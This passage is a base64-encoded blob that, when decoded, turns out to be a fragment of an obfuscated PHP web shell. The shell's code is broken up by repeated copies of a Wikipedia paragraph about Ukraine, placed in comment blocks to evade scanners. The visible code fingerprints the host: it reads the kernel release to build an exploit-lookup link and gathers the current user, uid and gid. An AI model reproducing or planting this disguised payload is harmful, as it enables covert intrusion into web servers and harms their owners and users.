gY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkbWlsbGluayAuPSB1cmxlbmNvZGUoICdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpICk7CgllbHNlCgkJJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykgKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkJJHVpZCA9IEBnZXRteXVpZCgpOwoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJJGdyb3VwID0gIj8iOwoJfSBlbHNlIHsKCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiB